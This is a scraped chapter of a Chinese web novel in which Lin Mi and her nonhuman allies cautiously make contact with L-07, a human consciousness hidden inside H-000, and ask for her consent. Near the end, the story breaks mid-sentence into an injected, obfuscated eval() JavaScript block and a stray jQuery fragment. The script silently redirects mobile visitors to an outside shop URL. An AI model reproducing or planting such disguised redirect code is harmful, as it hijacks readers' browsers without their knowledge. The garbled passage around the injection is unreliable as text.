文趣网 > 都市小说 > 最后一只人类被怪物们养大了 > 65. 她没死,也没回来
    “她一直在我这里。”

    H-000说完这句话,北侧休眠中心所有服务器同时进入保护状态。

    刚刚还开放给归影塔的接口一口气关闭了七成,第四执行体正在读取的那份复合结构记录也被强制中断,只剩最后几行停在公共频道里。

    【H-000稳定结构来源:复合。】

    【检测到第二人类意识参与。】

    【身份记录已清除。】

    林弥盯着休眠舱里的人:“你刚才说‘她’。”

    H-000没有回答。

    “认识的人?”

    还是没有。

    林弥把杯子放回桌上:“你要是不说,我们就自己查。”

    “别查。”

    “理由。”

    “会惊动她。”

    这句话一出来,林弥反而没继续逼问。她转头看M-12:“刚才的读取有没有碰到意识本体?”

    【没有。仅访问历史接口日志。】

    “那先停。”

    H-000像是没想到她真会停,隔着屏幕看了她几秒。

    林弥没好气:“我停的是读取,不是调查。既然你说继续查可能伤到人,先核实风险。别摆出一副我终于听话了的表情。”

    “我没有。”

    “你们怎么都爱说没有。”

    岑昼站在她身侧,很明智地没有接这句话。

    第一执行体的判罚通道还连着,金色竖线很快送来补充结果:【历史日志本身不具备唤醒功能。H-000关闭接口的行为无法证明读取会伤害第二意识。建议要求其提交风险依据。】

    林弥把结果转给H-000:“阿衡让你交证据。”

    第一执行体:【准确表述为建议要求提交。】

    “差不多。”

    【不完全相同。】

    “你先别抠这个。”

    北侧画面里,H-000闭了闭眼。他刚从多年低温中醒来,脸色本来就差,这会儿更像下一秒又要躺回去。生命监测显示心率持续升高,休眠舱已经两次自动追加供氧。

    过了一会儿,他终于重新开放一部分日志。

    “只看这一段。”

    “你先说会不会伤到她。”

    “不会。”

    “那刚才为什么不让查?”

    H-000停了两秒。

    “我不想让你们看。”

    林弥反而点头:“这个理由可以。”

    至少是真的。

    日志被重新放出来。

    时间在黑雪日前十七年,也就是林弥出生前一年。那时候H-000已经进入长期低温,白门项目尚未正式启动,文件名称还叫【复合意识稳定实验】。

    第一行参与者只有两个编号。

    【接口主体:H-000。】

    【辅助稳定者:L-07。】

    林弥看到第二个编号时,没什么反应。

    岑昼却突然抬眼。

    “怎么?”

    “L序列。”

    “你知道?”

    “旧人类内部人员临时保护编号。用于身份需要从公开系统隐藏的研究者、证人和高风险撤离对象。”

    林弥皱眉:“为什么一个研究者要隐藏身份参加意识实验?”

    H-000说:“因为她不该参加。”

    “什么意思?”

    “她不是实验对象。”

    日志继续往下。

    H-000第一次进入多意识接口后出现严重排异,十九分钟内连续丢失时间感、身体定位和自我识别。项目组准备终止时,L-07主动要求接入辅助位。申请被驳回两次,第三次由她本人绕过审批,直接进入实验室。

    下面是一段监控记录。

    画面很糊。

    年轻的H-000坐在接口椅上,太阳穴和后颈接满线路。他那时候比休眠舱里看着更年轻,额头全是汗,右手一直在抖。系统不断询问:

    【请确认姓名。】

    他张嘴,没说出来。

    【请确认姓名。】

    “我……”

    【请确认姓名。】

    “我不知道。”

    旁边的研究员开始拔线。

    就在这时,门开了。

    一个女人冲进来。

    她的脸被旧档案自动遮挡,只能看见白大褂和束在脑后的长发。她没有去碰H-000,先问负责接口的人:“他还能听见吗?”

    “不能确定。”

    “零号。”

    椅子上的人没动。

    她又叫了一遍。

    “你听得见我吗?”

    H-000的手指动了。

    女人立刻坐进旁边那个原本用于系统校准的辅助位,把接口贴上自己的太阳穴。

    有人冲过去拦她:“你没有适配评估!”

    “他快不知道自己是谁了。”

    “那也不是你进去的理由。”

    “我知道。”

    “断开!”

    “等他出来。”

    “你会被带进去!”

    女人已经按下连接。

    画面瞬间全白。

    林弥下意识看向休眠舱。

    现在的H-000没有看他们。他盯着那段十七年前的影像,像已经看过无数次。

    白光持续了四十七秒。

    再恢复时,H-000仍坐在椅子上,呼吸却稳定下来。

    女人的声音从辅助线路里传出。

    “你叫什么?”

    H-000说了一个词。

    档案自动消音。

    林弥眉头一动。

    那应该是他后来不要了的名字。

    女人又问:“你在哪?”

    “接口室。”

    “我是谁?”

    H-000停了几秒。

    又一段消音。

    女人笑了一声:“还认得,行。”

    系统开始将两人的意识结构分离。

    实验到这里本来已经成功。

    可就在分离进度达到百分之九十二时,门后某份正在测试的残余意识突然发生坍缩,直接沿着H-000的接口冲了回来。

    女人几乎没有犹豫。

    她主动扩大了自己的稳定连接。

    【警告:辅助位正在承担主体负荷。】

    【立即断开。】

    【立即断开。】

    H-000在画面里猛地睁眼:“出去!”

    女人没理。

    “L-07,断开!”

    “你先出来。”

    “我已经出来了!”

    “还差一点。”

    “断开!”

    她最后说了句什么。

    没有消音。

    林弥听得很清楚。

    “零号,别回头找我。”

    随后,辅助位的生命监测归零。

    画面结束。

    温室城里只剩机械鸟轻微的振翅声。

    林弥问:“她死了?”

    “身体死了。”H-000说。

    “意识留在接口里?”

    “嗯。”

    “和你连在一起。”

    “嗯。”

    “十七年?”

    “十七年零四个月。”

    他说得太准确,显然从来没忘。

    林弥又看了一遍L-07那个编号:“她是谁?”

    “我答应过不说。”

    “答应她?”

    “对。”

    “她现在还能表达?”

    “很少。”

    “那你怎么知道这个承诺还有效?”

    H-000终于抬眼看她。

    “承诺不是对方失去表达能力以后就自动失效。”

    林弥没反驳。

    这句话成立。

    “那我换一个问法。她和我有关系吗?”

    H-000沉默。

    林弥立刻捕捉到了。

    “有。”

    “我没说。”

    “你这个停顿已经说了。”

    “林弥。”

    “她认识林知微?”

    H-000不回答。

    “认识我另一个遗传来源的人?”

    还是不答。

    林弥盯着他看了一会儿,突然意识到一个问题:“你刚才说,她在你这里十七年零四个月。我十六岁。她进接口的时候,林知微已经怀孕了?”

    H-000的心率又开始升。

    M-12提醒:【问题可能触发明显应激。】

    “我看见了。”

    林弥没有继续往前逼。

    她低头重新看日志。

    L-07。

    主动进入辅助位。

    知道H-000原来的名字。

    H-000愿意为她藏身份十七年。

    林知微也认识H-000,而且当时已经卷进第二轮H系列。

    这些信息还不足以推出L-07是谁。林弥不打算为了一个漂亮反转硬猜。

    “行。”她说,“身份先不查。”

    H-000明显松了一口气。

    “但你的拆分方案得停。”

    “为什么?”

    “因为你所谓的‘完整自我’里有她。”

    “她只占很小一部分。”

    “多少?”

    “无法精确计算。”

    “那你刚才还准备拆?”

    “她已经十七年没有形成完整自我表达。”

    “所以?”

    H-000不说话了。

    林弥看着他:“你是不是觉得,她当年主动救过你,现在留在你身体里的这一部分,也默认可以继续拿来救门里的人?”

    “我没有这样想。”

    “你方案里有没有把她排除?”

    沉默。

    “有没有?”

    “没有。”

    “那就是想了,只是没把这件事单独拎出来想。”

    H-000的脸色一点点难看下去。

    林弥没有因此收口。

    这件事太熟悉了。

    旧人类最擅长的就是把已经发生过一次的牺牲变成永久授权。某个人当年愿意承担风险,于是后来的人默认她愿意继续;某个群落曾经救过一个孩子,于是系统默认它们应该永远负责照护;一个执行体曾经承担照明,于是一个字就可以被用十六年。

    H-000自己被这种逻辑困过。

    现在他差点又拿去套别人。

    “把方案撤了。”林弥说。

    “门内意识还在衰减。”

    “重新做。”

    “时间不够。”

    “那就先稳定。”

    “现有结构只能维持——”

    “多久?”

    H-000停了一下:“保守估计七十二小时。”

    林弥看他:“七十二小时叫时间不够?”

    “重新设计一个不使用我的方案,七十二小时远远不够。”

    “谁说不用你?”

    H-000一怔。

    “你可以用你自己的部分。”林弥说,“L-07的不能碰。”

    “无法分开。”

    “现在无法,不代表查完也无法。”

    “我比你们更了解自己的结构。”

    “你了解十七年前的接口技术,不一定了解这十六年外面长出来的东西。”

    林弥转头看向温室城根网。

    “蘑菇长老,你们能分辨两个不同人的情绪残留吗?”

    “能分一部分。”

    “蓝潮站?”

    浅色水母的声音从频道里传来:“长期混合的水可以追溯不同来源,但意识不是水。”

    “归影塔?”

    M-12回答:【可以从历史声纹、行为偏差和接口响应中建立结构边界,准确率未知。】

    “夜歌荒原呢?”

    白鹿首领沉默片刻:“如果她还剩自己的声音,我们可以找。”

    H-000皱眉:“你们不知道自己在处理什么。”

    “所以才要一起看。”

    “一个错误就可能把她彻底打散。”

    “那就先不拆。”

    林弥把方案发进公共频道。

    “先找她。”

    H-000盯着她:“她不想被找到。”

    “你确定?”

    “她让我别回头找她。”

    “十七年前说的。”

    “有什么区别?”

    “当然有。她那句话发生在你快被接口吞掉的时候,语境是让你先出去。你把它理解成‘未来十七年都不要找我’,证据不够。”

    H-000一下没说话。

    林弥知道自己戳中了。

    他可能真的靠这句话活了十七年。

    不回头找她。

    于是他把她留在自己意识最深处,不叫她,不查她,也不允许别人碰。听起来像遵守承诺,实际上到底是尊重她,还是怕面对她已经变成什么样,恐怕连他自己都分不清。

    岑昼忽然开口:“可以先问。”

    H-000看向他。

    “问谁?”

    “她。”

    “她无法完整回应。”

    “那就问能回应的部分。”

    H-000的眼神冷下来:“你以为一句声音就能代表她?”

    岑昼没有被激怒。

    “不能。”

    “那怎么判断?”

    “所以不判断。”

    H-000皱眉。

    岑昼继续:“先给她表达的位置。”

    林弥转头看了他一眼。

    这话很像他们最近一路做的事。

    不急着宣布谁是谁,不急着把残片拼成完整的人,也不因为表达不完整就替对方补全。先留一个位置,看她还能给出什么。

    “试吗?”林弥问。

    H-000没有答应。

    也没有拒绝。

    第一执行体已经把现有方案判成【暂停执行】,理由非常充分:捐赠主体不唯一,授权范围不明,存在未经确认的第二意识结构。失名处则给L-07临时建了一份独立争议档案,姓名栏没有填,只有编号。

    【L-07。】

    【状态:存在可能。】

    【不得处分。】

    H-000看到“不得处分”四个字,嘴角抽了一下。

    “你们给她登记成什么了?”

    戴眼镜影子回答:“暂时无法确认。”

    “她不是财产。”

    “所以写不得处分。”

    “这个词很难听。”

    “可以改。”

    影子当场划掉,重新写:

    【未经本人表达,不得调用。】

    H-000看了很久。

    “这个可以。”

    林弥忽然发现,他其实很好懂。

    嘴上说不让找,别人真把L-07单独列出来,他第一个检查措辞。

    “那开始?”

    “只做最低程度探测。”

    “你定边界。”

    “不能进入我的核心记忆区,不能读取她被遮蔽的身份记录,不能强制放大响应,发现结构不稳立即停止。”

    M-12逐条记录。

    【确认。】

    夜歌荒原先送来一段非常低的基础声纹,不带任何具体旋律,只用于观察意识是否会对外部声音产生反应。蓝潮站则在H-000的接口回路外搭了一层缓冲,避免信号直接撞进深处。归影塔不做内容读取,只看哪里的响应频率发生变化。

    H-000躺回休眠舱。

    “开始。”

    第一段声纹进去,没有反应。

    第二段也没有。

    第三段来自旧人类时期最普通的环境声音。

    雨。

    不是黑雪,也不是警报,只是雨水落在窗台上的声音。

    H-000的接口曲线忽然轻轻跳了一下。

    M-12立刻标记位置。

    【发现独立响应。】

    林弥身体前倾:“继续?”

    H-000闭着眼。

    “继续。”

    雨声放了十二秒。

    那个响应一直在。

    不强,却没有跟随H-000的心率变化。

    说明至少不是他的即时反应。

    白鹿首领问:“要不要加入人声?”

    H-000睁开眼。

    “不要叫编号。”

    “那叫什么?”

    他沉默。

    这就成了问题。

    他们不知道她的名字。

    林弥想了想:“不用叫。问问题。”

    “什么问题?”

    “最简单的。”

    她凑近通讯。

    “你听得见吗?”

    没有反应。

    林弥等了一会儿。

    “如果听得见,不用证明你是谁。动一下你能动的东西就行。”

    H-000太阳穴旁的接口线安静着。

    十秒。

    二十秒。

    就在M-12准备宣布无明确响应时,那条独立曲线忽然抬高了一格。

    只有一格。

    很快又落下。

    温室城没人出声。

    林弥继续问:“要我们停吗?”

    曲线没动。

    “要继续?”

    仍然没动。

    “都不是?”

    这一次,曲线跳了一格。

    林弥愣住。

    H-000猛地睁眼。

    “她以前就这样。”

    “什么?”

    “你给她两个烂选项,她一个都不选。”

    林弥差点笑出来,又忍住:“那重新问。”

    她想了一会儿。

    “你现在有没有想让我们做的事?”

    曲线不动。

    “有没有不想让我们做的事?”

    跳了一格。

    “好。我们慢慢问。”

    H-000的手已经抓住休眠舱边缘。

    他明明比谁都清楚这只是一条微弱响应,不能证明完整意识,也不能证明对方理解了全部语言,可他的指节还是一点点发白。

    林弥没有替他高兴。

    现在还太早。

    “你不想让我们继续查你的身份?”

    曲线跳了一格。

    H-000闭上眼。

    “我说过。”

    “嗯,这条听你的。”

    林弥让M-12在L-07档案上加了一项:

    【当前明确表达:拒绝身份追查。】

    “还有。”

    她继续问。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844987|208926||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你不想让H-000把你的意识结构用于拆分白门?”

    曲线没有动。

    H-000屏住呼吸。

    十几秒后,仍然没有。

    不能当作同意。

    林弥换了问法:“你希望这件事暂时不要执行?”

    一格。

    很轻。

    却清楚。

    H-000的脸彻底白了。

    林弥看着他,没有说“你看,她不愿意”。这个响应只够支持暂停,远远不够替L-07下更大的结论。

    “记录。”她说。

    M-12:【已记录。】

    “还有什么要问?”

    H-000忽然开口:“我来。”

    林弥让开。

    他躺在休眠舱里,看着头顶那层玻璃。嘴唇动了几次,才真正发出声音。

    “你还在吗?”

    林弥皱眉。

    这个问题其实不好。

    “存在”太复杂了。

    可她没有打断。

    曲线也没有动。

    H-000等了很久。

    “你还记得我吗?”

    依旧没有。

    他眼里的那点光一点点暗下去。

    第三个问题,他迟迟没问。

    林弥以为他会问“你恨我吗”或者“你为什么不出来”。结果过了很久,他只说:

    “你想让我闭嘴吗?”

    曲线猛地跳了两格。

    林弥:“……”

    小蘑菇没忍住,噗地笑出了声。

    H-000脸都黑了。

    曲线又跳了一格。

    这回连白鹿频道里都传来一点压不住的气音。

    林弥很努力才维持住表情:“看来这条比较明确。”

    H-000:“不用你解释。”

    “行。”

    他真的闭嘴了。

    几秒以后,那条曲线缓慢降回原位。

    整个试探没有再继续。L-07已经给出了足够多的信号,再往下问只是在消耗她。蓝潮站先撤缓冲,白鹿停止声纹,归影塔保存的也只有响应时间和问题文本,没有进入任何核心内容。

    H-000重新睁眼时,第一句话是:“她以前脾气没这么差。”

    林弥:“有没有可能是你十七年没听她说话,把人想美化了?”

    “没有。”

    “那就当我没说。”

    “她只是——”

    H-000突然停住。

    接口曲线虽然已经回落,刚才L-07响应的位置却又自己跳了一格。

    没有任何人提问。

    H-000:“……”

    林弥低头咳了一声。

    “你还是少评价她。”

    这次他真不说了。

    可事情并没有因为这一点久违的活气变轻松。L-07能够响应,意味着H-000原来的方案彻底不能再用。他的“自我”不是一块可以自由拆出去的材料,里面至少还有一个人。更麻烦的是,如果L-07能够在十七年后重新产生独立响应,那白门里那些被判定为“无法形成完整自我”的意识,也可能比他们想象中保留得更多。

    林弥看向那三百多份意识记录。

    “重新分类。”

    M-12问:【按什么标准?】

    “别再按完整和不完整分。”

    “那怎么分?”

    林弥想了想:“能明确表达的,先问需求。只能部分响应的,给响应通道。完全没反应的,继续保存,不宣布死亡,也不宣布一定能回来。”

    H-000问:“要多久?”

    “我不知道。”

    “七十二小时不够。”

    “那先解决七十二小时后的稳定问题。”

    “靠什么?”

    这次回答他的不是林弥。

    交汇带的声音从公共频道传来。

    “我们刚才算过。”

    它把一张结构图送进来。

    六项功能都在。

    但没有一项重新归白门所有。

    温室城提供有限生态维持,蓝潮站提供水循环缓冲,归影塔只承担信息分层,夜歌荒原负责声纹稳定,图书馆提供独立存储,交汇带负责连接。

    每一项后面都写着同一句:

    【临时借用。】

    【可撤回。】

    H-000看了半天。

    “你们愿意?”

    温室城先回答:“愿意三天。”

    蓝潮站:“水循环两天后重新评估。”

    归影塔:【信息存储每十二小时核验一次。】

    夜歌荒原:“有白鹿愿意唱的部分才唱。”

    图书馆的石头巨人最后说:“服务器可以借。书不借。”

    林弥:“为什么书不借?”

    “上次三本还没看完。”

    “……行。”

    H-000看着那张临时方案,很久没有说话。

    过去他用尽办法想把六项功能重新接回白门。

    现在它们自己来了。

    却没有谁把自己交出去。

    只借。

    用完要还。

    不想借了可以停。

    林弥问:“这样能撑多久?”

    H-000重新计算。

    “如果不启动回归,只维持现有意识稳定……二十一天。”

    “够重新做方案吗?”

    “未必。”

    “先活二十一天再说。”

    H-000看了她一眼。

    “你小时候是不是也这么难养?”

    蘑菇长老回答得很快:“是。”

    林弥:“你怎么还帮他说话?”

    “事实。”

    “我小时候明明挺乖。”

    根网里一口气亮起十几条反对信号。

    林弥决定结束这个话题。

    临时结构开始接入时,L-07的响应曲线一直很安静。直到H-000准备关闭外部监测,她的位置突然又跳了一下。

    M-12立即停止关闭。

    “怎么了?”

    没人知道。

    曲线连续跳了三次。

    停。

    又两次。

    再停。

    岑昼忽然走近。

    “不是随机。”

    M-12:【正在分析间隔。】

    林弥看着那组节奏,莫名觉得熟悉。

    三。

    停。

    二。

    停。

    一。

    不像语言。

    更像敲击。

    第三执行体的频道忽然亮了。

    它胸前也响起三声。

    然后两声。

    最后一声。

    两边完全一样。

    第四执行体立刻开始翻旧记录。十几秒后,一份被藏在执行体校正档案最底层的通讯规则被找出来。

    【旧东塔内部紧急敲击码。】

    【三—二—一:请求关闭自动监听,转人工私密通道。】

    林弥坐直:“她要私下说话?”

    H-000也愣住。

    “她怎么会知道这个?”

    没人回答。

    第四执行体已经按照旧规则关闭公共监听,只留下最低生命监测。随后,它询问L-07是否申请单独连接对象。

    曲线跳了一格。

    候选名单自动出现。

    H-000。

    林弥。

    岑昼。

    第一执行体。

    第四执行体。

    L-07没有选择H-000。

    也没有选择林弥。

    响应指向名单最下面。

    第四执行体。

    阿留站在东塔姓名清除室里,掌心那枚暗银字符慢慢亮起。

    【申请接受。】

    私密通道建立。

    按照刚刚约定,其他人听不到内容。

    他们只看见第四执行体一动不动站了将近一分钟。

    随后,它突然抬起头。

    暗银字符第一次出现剧烈波动。

    H-000立刻问:“她说了什么?”

    第四执行体没有回答。

    “阿留?”

    林弥也叫了一声。

    它仍然沉默。

    又过了几秒,一份尘封十七年的修正申请被它从自己的核心最深处调了出来。

    申请人那一栏已经损坏。

    内容却还在。

    【请求删除H-001门体资格。】

    【请求永久关闭活体接引方案。】

    【如申请失败,请将相关证据交予下一位能够拒绝的人。】

    文件最下面,还有第四执行体当年的处理结果。

    【已修正为:申请人自愿撤回。】

    阿留盯着那行字。

    很久以后,它亲手把“自愿撤回”四个字划掉。

    恢复原始状态。

    【申请从未撤回。】

    然后,它打开公共频道。

    “L-07要求我转告一句话。”

    林弥看着它。

    “什么?”

    第四执行体的声音依旧带着旧机械的轻微杂音。

    “她说——”

    “别救旧人类。”

    “先把林弥从门上摘下来。”